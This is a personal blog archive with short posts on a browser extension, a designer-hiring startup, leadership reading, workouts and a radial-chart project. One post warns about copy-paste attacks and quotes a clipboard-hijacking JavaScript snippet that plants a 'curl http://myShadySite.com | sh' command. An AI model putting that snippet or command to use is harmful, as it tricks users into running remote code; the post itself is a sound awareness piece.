Author Archives: hydralien

AnotherTab extension goes wider

AnotherTab, the new tab extension I once built for Chrome, was surprisingly easy to adapt for some other browsers – very easy for Microsoft Edge (because it’s Chromium-based), and less so for Mozilla Firefox (mainly because it doesn’t allow navigation to browser internal pages), but it gave me an opportunity to make code more uniform and robust – and now it’s available in all 3 extension stores:

Install it from Microsoft Edge Store
Microsoft Edge Add-ons
Install it from Chrome Web Store
Chrome Web Store
Install it from Mozilla Firefox Store
Firefox Browser Add-ons

A guide to hiring product designers

My friend and co-founder of designchallenge.io, Elena Borisova, wrote an excellent article about struggles and specifics of hiring product designers, with a lot of focus on what values should be prioritised in which cases and on hiring the person with a skills that are really needed, not “so they could do everything”: https://designchallenge.io/blog/no-nonsense-guide-to-product-design-skills

Helping to hire designers with designchallenge.io

Started a little (well, maybe not exactly that little, given that it wasn’t as quick as I’ve thought) project with my friends to aid the designer positions candidate pre-interview screening through several simple challenges, akin to what hackerrank, codility etc. do for software developers – for now https://designchallenge.io/ serves only a landing page, but we will hopefully publish more functionality soon-ish.

Tech-wise it’s been (and it still is) a good exercise on Node.js + Express + Vue.js + Typescript stack, which I was only vaguely familiar with before, and also on using cloud providers like Heroku to deploy and host everything (well, not exactly everything, as images need to be hosted on S3 or some other storage provider). Quite a lot of knowledge gain, but quite a lot of fun too!

Copying shell commands from websites

There are quite a few websites – like Homebrew, for instance – that offer initial installation in a form of shell script that downloads installation binary and runs it (or does some other actions like saving specific values to a configuration file). I always had some vague concern about copying and running commands, but then again, you could read those commands and judge for yourself if they’re malicious or not, right? Yes, but…

I stumbled upon an article today that highlighted how the copied code could be not what it seems – or rather, it’d replace copied text with something else: https://briantracy.xyz/writing/copy-paste-shell.html

It’s quite ingenious, really – it hooks onto copy event and it replaces clipboard data with another command, that’d even have a newline at the end so it’d launch after you paste it automatically. Here’s the code from the article:

document.getElementById('copyme').addEventListener('copy', function(e) {
    e.clipboardData.setData('text/plain', 
        'echo "this could have been [curl http://myShadySite.com | sh]"\n'
    );
    e.preventDefault();
});

Now, you need to land on a frankly malicious website that’d do such a trick to you, but there also might be an XSS on an honest website that could utilise that. One way to safeguard yourself would be check your clipboard content (I use Alfred for OSX, it has an amazing feature of clipboard history), or paste the copied data in text editor or any non-shell text field to validate it’s what you expect it to be.

Live and learn!

[tech] Leadership Growth

A great article on what to focus (and avoid focusing) on when pursuing your career growth as a tech lead – or any leadership role, really: https://staffeng.com/guides/work-on-what-matters

I guess it could be put simpler into something like “find the spot where you could help the most, and do it” – but there are several additional (and quite important) points there, like avoiding chasing simple tasks, don’t try to just look good, adjust your perspective to new challenges, plan ahead etc. Well worth reading!

Workout sketches for fun!

I won’t add much text here, as these are mostly for my own reference and describing each would take quite some time, while hopefully images are explanatory enough.

I’d just say these exercises were collected from the additional materials for the “Training For The New Alpinism” book, some other training materials and personal experiments.

Radial Charts

Why

I wanted to plot the data that is tightly connected to a time of a day as a circular chart, resembling the clock face – for no particular reason other than checking out how it looks.

Another thing I wanted to do was to play with some relatively modern JS framework.

And then I also got a bit a of a spare time on my hands.

What

So as a result, here’s a code that fetches CSV data from Graphite metrics (or any other CSV file) and displays it on a radial chart (aka Radar chart). It’s crude and unoptimised and inefficient, but it serves the goal of visual representation (see examples section below): https://github.com/hydralien/Radial-Charts

It’s mostly an amCharts showcase – amCharts are amazing, I love them dearly. Check them out if you’re not familiar, there’s seemingly nothing you can’t do with them: https://www.amcharts.com/demos/

Additionally, it also uses Github Actions (https://help.github.com/en/actions) as a CI mechanism – so on every push a build is pushed to a branch and then deployed as Github pages using https://github.com/marketplace/actions/github-pages-action#%EF%B8%8F-publish_branch (there’s many action plugins, this one was just the first one that worked).

Examples

Surprisingly, there’s npt that many public datasets with high-granularity daily data available on the Internet, but here’s at least one:
Bike rentals in NYC, January 1st 2020 vs July 1st 2019 (from https://s3.amazonaws.com/tripdata/index.html):

Bike rentals

Shortcomings

  • it’s not a working tool or a developing project – it’s a fun thing built for no reason
  • it loads a ton of unnecessary libraries, becasue how amCharts library for Vue.js is structured, and also because it’s not optimised for anything
  • <many other things>